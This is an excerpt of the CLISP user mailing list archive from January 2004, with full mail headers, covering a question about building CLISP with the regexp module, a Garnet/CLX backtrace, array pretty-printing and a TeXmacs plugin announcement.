id 1Alv3C-0006Dr-1J for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 11:08:34 -0800 Received: from dsl081-203-031.nyc2.dsl.speakeasy.net ([64.81.203.31] helo=thelonious.dyndns.org) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Alv3B-00021K-HN for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 11:08:33 -0800 Received: by thelonious.dyndns.org (Postfix, from userid 1000) id 6AA62BA; Wed, 28 Jan 2004 14:07:10 -0500 (EST) To: clisp-list@lists.sourceforge.net From: Russell McManus Message-ID: <87smhzzych.fsf@thelonious.dyndns.org> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Portable Code, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] help building 2.32 with regexp module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 28 16:07:55 2004 X-Original-Date: Wed, 28 Jan 2004 14:07:10 -0500 I've tried to figure out who to build a clisp 2.32 binary on my NetBSD i386 machine that includes the regexp module. The commands I have tried are as follows: ./configure with-gcc cd with-gcc ./makemake --with-dynamic-ffi --with-dynamic-modules --with-module=regexp > Makefile gmake sudo gmake install This installed a binary in /usr/local/bin/clisp which works, but does not appear to include the regexp module. What am I doing wrong? -russ From pascal@informatimago.com Wed Jan 28 11:29:18 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AlvNF-0007Q7-MG for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 11:29:17 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AlvNB-0000kf-KQ for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 11:29:14 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 8EFB0586E2; Wed, 28 Jan 2004 20:28:58 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 585E938226; Wed, 28 Jan 2004 20:27:15 +0100 (CET) Message-ID: <16408.3347.242266.831975@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <400BDB3A-3F9E-11D8-BC6C-000A95E27FEE@afaa.asso.fr> <16400.35608.66852.835748@thalassa.informatimago.com> <16401.35906.905889.746106@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 UPPERCASE_75_100 message body is 75-100% uppercase Subject: [clisp-list] Re: new-clx builds bad encoding name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 28 16:16:14 2004 X-Original-Date: Wed, 28 Jan 2004 20:27:15 +0100 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-01-23 22:04:02 +0100]: > > > > *** - SLOT-VALUE: The class # has no slot named XLIB::FONT-INFO > > > > <13> # > > <14> # > > <15> # > > please try the appended patch. With it, it goes further and stumble on a similar problem. (Tell me if you need more details). Loading #P"/local/share/lisp/packages/net/sourceforge/garnet/c32/c32-lapidary" ;; Loading file /local/share/lisp/packages/net/sourceforge/garnet/c32/c32-lapidary.lisp ... WARNING: DEFUN/DEFMACRO: redefining function GET-REFERENCE-FOR in /usr/local/share/lisp/packages/net/sourceforge/garnet/c32/c32-lapidary.lisp, was defined in /usr/local/share/lisp/packages/net/sourceforge/garnet/c32/c32formula.lisp Object DIRECT-REF-QUERY-GADGET *** - SETF: The class # has no slot named XLIB::PLIST Break 1 C32[2]> :bt <1> # <2> # <3> # <4> # <5> # <6> # <7> # <8> # <9> # <10> # 3 <11> # <12> # <13> # <14> # <15> # <16> # <17> # <18> # <19> # <20> # <21> # <22> # 1 EVAL frame for form (LET ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59728 OPAL::THE-SCHEMA)) <23> # <24> # EVAL frame for form (IF #:G59728 (LET ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59728 OPAL::THE-SCHEMA))) EVAL frame for form (LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE))) (IF #:G59728 (LET ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59728 OPAL::THE-SCHEMA)))) <25> # EVAL frame for form (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::WINDOW)) (LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE))) (IF #:G59728 (LET ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59728 OPAL::THE-SCHEMA))))) <26> # EVAL frame for form (LET ((GARNET-GADGETS::WINDOW (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) INTERACTORS:INTERACTOR-WINDOW T T NIL NIL '(:VISIBLE) (CONS :PARENT (KR::VALUE-FN GARNET-GADGETS:ERROR-GADGET :PARENT-WINDOW)))) (GARNET-GADGETS::AGGREGATE (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) OPAL:AGGREGATE T T NIL NIL))) (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :AGGREGATE GARNET-GADGETS::AGGREGATE) (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::WINDOW)) (LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE))) (IF #:G59728 (LET ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59728 OPAL::THE-SCHEMA))))) (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::AGGREGATE)) (LET* ((#:G59729 OPAL::THE-SCHEMA) (#:G59730 (KR::VALUE-FN #:G59729 :ADD-COMPONENT))) (IF #:G59730 (LET ((KR::*KR-SEND-SELF* #:G59729) (KR::*KR-SEND-SLOT* :ADD-COMPONENT) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59730 OPAL::THE-SCHEMA GARNET-GADGETS:ERROR-GADGET))))) (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :ERROR-GADGET GARNET-GADGETS:ERROR-GADGET) (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :MODAL-P (KR::O-FORMULA-FN #'(LAMBDA NIL (DECLARE (SYSTEM::SOURCE (NIL (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3))) (GVL :ERROR-GADGET :MODAL-P)))) (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3))) (KR::GV-CHAIN KR::*SCHEMA-SELF* '(:ERROR-GADGET :MODAL-P))) '(GVL :ERROR-GADGET :MODAL-P) NIL NIL))) <27> # EVAL frame for form (PROGN (LOCALLY (DECLARE (OPTIMIZE (SPEED 3) (SPACE 0))) (LET ((KR::FIRST-C-P-M (AND (NULL KR::*KR-SEND-PARENT*) (LET ((#:G59726 (VALUES (GETHASH KR::*KR-SEND-SLOT* (KR::SCHEMA-BINS KR::*KR-SEND-SELF*))))) (OR (NULL #:G59726) (LOGBITP 10 (KR::SL-BITS #:G59726))))))) (MULTIPLE-VALUE-BIND (METHOD KR::NEW-PARENT) (KR::FIND-PARENT KR::*KR-SEND-SELF* KR::*KR-SEND-SLOT*) (WHEN METHOD (IF KR::FIRST-C-P-M (MULTIPLE-VALUE-SETQ (METHOD KR::*KR-SEND-PARENT*) (KR::FIND-PARENT KR::NEW-PARENT KR::*KR-SEND-SLOT*)) (SETQ KR::*KR-SEND-PARENT* KR::NEW-PARENT)) (IF METHOD (LET ((KR::*KR-SEND-SELF* KR::*KR-SEND-PARENT*)) (FUNCALL METHOD GARNET-GADGETS:ERROR-GADGET))))))) (LET ((GARNET-GADGETS::WINDOW (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) INTERACTORS:INTERACTOR-WINDOW T T NIL NIL '(:VISIBLE) (CONS :PARENT (KR::VALUE-FN GARNET-GADGETS:ERROR-GADGET :PARENT-WINDOW)))) (GARNET-GADGETS::AGGREGATE (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) OPAL:AGGREGATE T T NIL NIL))) (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :AGGREGATE GARNET-GADGETS::AGGREGATE) (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::WINDOW)) (LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE))) (IF #:G59728 (LET ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59728 OPAL::THE-SCHEMA))))) (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::AGGREGATE)) (LET* ((#:G59729 OPAL::THE-SCHEMA) (#:G59730 (KR::VALUE-FN #:G59729 :ADD-COMPONENT))) (IF #:G59730 (LET ((KR::*KR-SEND-SELF* #:G59729) (KR::*KR-SEND-SLOT* :ADD-COMPONENT) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59730 OPAL::THE-SCHEMA GARNET-GADGETS:ERROR-GADGET))))) (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :ERROR-GADGET GARNET-GADGETS:ERROR-GADGET) (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :MODAL-P (KR::O-FORMULA-FN #'(LAMBDA NIL (DECLARE (SYSTEM::SOURCE (NIL (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3))) (GVL :ERROR-GADGET :MODAL-P)))) (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3))) (KR::GV-CHAIN KR::*SCHEMA-SELF* '(:ERROR-GADGET :MODAL-P))) '(GVL :ERROR-GADGET :MODAL-P) NIL NIL)))) <28> # APPLY frame for call (GARNET-GADGETS::INITIALIZE-METHOD-ERROR-GADGET '#k) EVAL frame for form (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA 'DIRECT-REF-QUERY-GADGET) GARNET-GADGETS:QUERY-GADGET T T NIL NIL (CONS :BUTTON-NAMES '("YES" "NO")) (CONS :MODAL-P T)) <29> # 1 <30> # <31> # EVAL frame for form (CREATE-SCHEMA 'DIRECT-REF-QUERY-GADGET :GENERATE-INSTANCE (:IS-A GARNET-GADGETS:QUERY-GADGET) (:MODAL-P T) (:BUTTON-NAMES '("YES" "NO"))) EVAL frame for form (CREATE-INSTANCE 'DIRECT-REF-QUERY-GADGET GARNET-GADGETS:QUERY-GADGET (:MODAL-P T) (:BUTTON-NAMES '("YES" "NO"))) EVAL frame for form (LOAD COMMON-LISP-USER::FINALNAME) <32> # <33> # EVAL frame for form (LET* ((COMMON-LISP-USER::HEAD (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS)) (COMMON-LISP-USER::TAIL (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS))) (COMMON-LISP-USER::PREFIX (OR (EVAL (CDR (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST :TEST #'STRING=))) (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD))) (COMMON-LISP-USER::FINALNAME (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL COMMON-LISP-USER::PREFIX))) (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME) (LOAD COMMON-LISP-USER::FINALNAME)) <34> # <35> # EVAL frame for form (IF COMMON-LISP-USER::POS (LET* ((COMMON-LISP-USER::HEAD (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS)) (COMMON-LISP-USER::TAIL (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS))) (COMMON-LISP-USER::PREFIX (OR (EVAL (CDR (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST :TEST #'STRING=))) (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD))) (COMMON-LISP-USER::FINALNAME (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL COMMON-LISP-USER::PREFIX))) (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME) (LOAD COMMON-LISP-USER::FINALNAME)) (PROGN (FORMAT T "NO COLON, Loading ~s~%" COMMON-LISP-USER::FILENAME) (LOAD COMMON-LISP-USER::FILENAME))) EVAL frame for form (LET ((COMMON-LISP-USER::POS (POSITION #\: COMMON-LISP-USER::FILENAME))) (IF COMMON-LISP-USER::POS (LET* ((COMMON-LISP-USER::HEAD (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS)) (COMMON-LISP-USER::TAIL (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS))) (COMMON-LISP-USER::PREFIX (OR (EVAL (CDR (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST :TEST #'STRING=))) (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD))) (COMMON-LISP-USER::FINALNAME (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL COMMON-LISP-USER::PREFIX))) (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME) (LOAD COMMON-LISP-USER::FINALNAME)) (PROGN (FORMAT T "NO COLON, Loading ~s~%" COMMON-LISP-USER::FILENAME) (LOAD COMMON-LISP-USER::FILENAME)))) <36> # APPLY frame for call (COMMON-LISP-USER::GARNET-LOAD '"c32:c32-lapidary") EVAL frame for form (COMMON-LISP-USER::GARNET-LOAD (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) <37> # 1 EVAL frame for form (TAGBODY #:G101312 (IF (ENDP #:G101311) (GO #:G101313)) (SETQ COMMON-LISP-USER::FILE (CAR #:G101311)) (COMMON-LISP-USER::GARNET-COMPILE (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (COMMON-LISP-USER::GARNET-LOAD (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (SETQ #:G101311 (CDR #:G101311)) (GO #:G101312) #:G101313 (RETURN-FROM NIL (PROGN NIL))) <38> # EVAL frame for form (LET* ((#:G101311 COMMON-LISP-USER::C32-FILES) (COMMON-LISP-USER::FILE NIL)) (DECLARE (LIST #:G101311)) (TAGBODY #:G101312 (IF (ENDP #:G101311) (GO #:G101313)) (SETQ COMMON-LISP-USER::FILE (CAR #:G101311)) (COMMON-LISP-USER::GARNET-COMPILE (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (COMMON-LISP-USER::GARNET-LOAD (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (SETQ #:G101311 (CDR #:G101311)) (GO #:G101312) #:G101313 (RETURN-FROM NIL (PROGN NIL)))) <39> # EVAL frame for form (BLOCK NIL (LET* ((#:G101311 COMMON-LISP-USER::C32-FILES) (COMMON-LISP-USER::FILE NIL)) (DECLARE (LIST #:G101311)) (TAGBODY #:G101312 (IF (ENDP #:G101311) (GO #:G101313)) (SETQ COMMON-LISP-USER::FILE (CAR #:G101311)) (COMMON-LISP-USER::GARNET-COMPILE (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (COMMON-LISP-USER::GARNET-LOAD (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (SETQ #:G101311 (CDR #:G101311)) (GO #:G101312) #:G101313 (RETURN-FROM NIL (PROGN NIL))))) <40> # EVAL frame for form (DO* ((#:G101311 COMMON-LISP-USER::C32-FILES (CDR #:G101311)) (COMMON-LISP-USER::FILE NIL)) ((ENDP #:G101311) NIL) (DECLARE (LIST #:G101311)) (SETQ COMMON-LISP-USER::FILE (CAR #:G101311)) (COMMON-LISP-USER::GARNET-COMPILE (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (COMMON-LISP-USER::GARNET-LOAD (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))) EVAL frame for form (DOLIST (COMMON-LISP-USER::FILE COMMON-LISP-USER::C32-FILES) (COMMON-LISP-USER::GARNET-COMPILE (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (COMMON-LISP-USER::GARNET-LOAD (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))) EVAL frame for form (LOAD (MERGE-PATHNAMES "c32-compiler" COMMON-LISP-USER::GARNET-C32-SRC)) <41> # <42> # EVAL frame for form (WHEN COMMON-LISP-USER::COMPILE-C32-P (FORMAT T "~% %%%%%%%%%%%%%% Compiling C32 %%%%%%%%%%%%%%% ~%") (LOAD (MERGE-PATHNAMES "c32-compiler" COMMON-LISP-USER::GARNET-C32-SRC))) <43> # EVAL frame for form (LOAD "garnet-compiler.lisp") <44> # <45> # EVAL frame for form (LOAD "build.lisp") <46> # <47> # Printed 47 frames Break 1 C32[2]> -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From bruno@clisp.org Wed Jan 28 11:32:44 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AlvQa-0007fO-3r for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 11:32:44 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AlvQW-0008VL-26 for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 11:32:40 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i0SJWcQp018139 for ; Wed, 28 Jan 2004 20:32:38 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i0SJWbCf027561; Wed, 28 Jan 2004 20:32:37 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id C28B9178AC; Wed, 28 Jan 2004 19:29:26 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401282029.25594.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] pretty-printing multi-dimensional arrays Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 28 16:18:03 2004 X-Original-Date: Wed, 28 Jan 2004 20:29:25 +0100 Pretty-printing of multidimentional arrays is not pretty. The first sample is OK, the second one is not. > (make-array '(20 20) :initial-element 0) #2A((0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)) > (make-array '(20 20) :initial-element 0.5) #2A((0.5 0.5 0.5 ....(nearly 400 lines skipped) 0.5 0.5 0.5)) 1) Does ANSI CL mandate this stupid behaviour of printing just one element on each line? 2) If not, can you instead implement a more dense representation that attempts to condense as many array elements on a line as fit there, Instead of spewing out hundreds of lines of output? I mean, the pretty printer's output is made for humans. What I would expect is #2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5)) Bruno From mgraffam@mathlab.sunysb.edu Wed Jan 28 23:36:03 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Am6iY-0007gj-RZ for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 23:36:02 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Am0vA-0000S4-Bl for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 17:24:40 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id i0T1OXWO028770 for ; Wed, 28 Jan 2004 20:24:33 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id i0T1OWOX028767 for ; Wed, 28 Jan 2004 20:24:32 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] CLisp and GNU TeXmacs integration Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 28 23:36:06 2004 X-Original-Date: Wed, 28 Jan 2004 20:24:32 -0500 (EST) Hello everyone, GNU TeXmacs (www.texmacs.org) 1.0.3.2 now includes plugin support for CLisp. You can use CLisp to render data into a rich TeX-like markup in a WYSIWYG environment. You have direct access to the Lisp command line, but Lisp code could easily be written to allow you to 'draw' Lisp s-expressions with graphical trees. Editable tables for array entry are also possible. I am putting a PDF of CLisp running in TeXmacs for anyone that is interested at http://mathlab.sunysb.edu/~mgraffam/tm-clisp.pdf If you are interested in using TeXmacs as an interface to Lisp, please email me any ideas or comments you might have. Enjoy! From sds@gnu.org Thu Jan 29 14:32:04 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AmKhg-0002WV-OQ for clisp-list@lists.sourceforge.net; Thu, 29 Jan 2004 14:32:04 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by 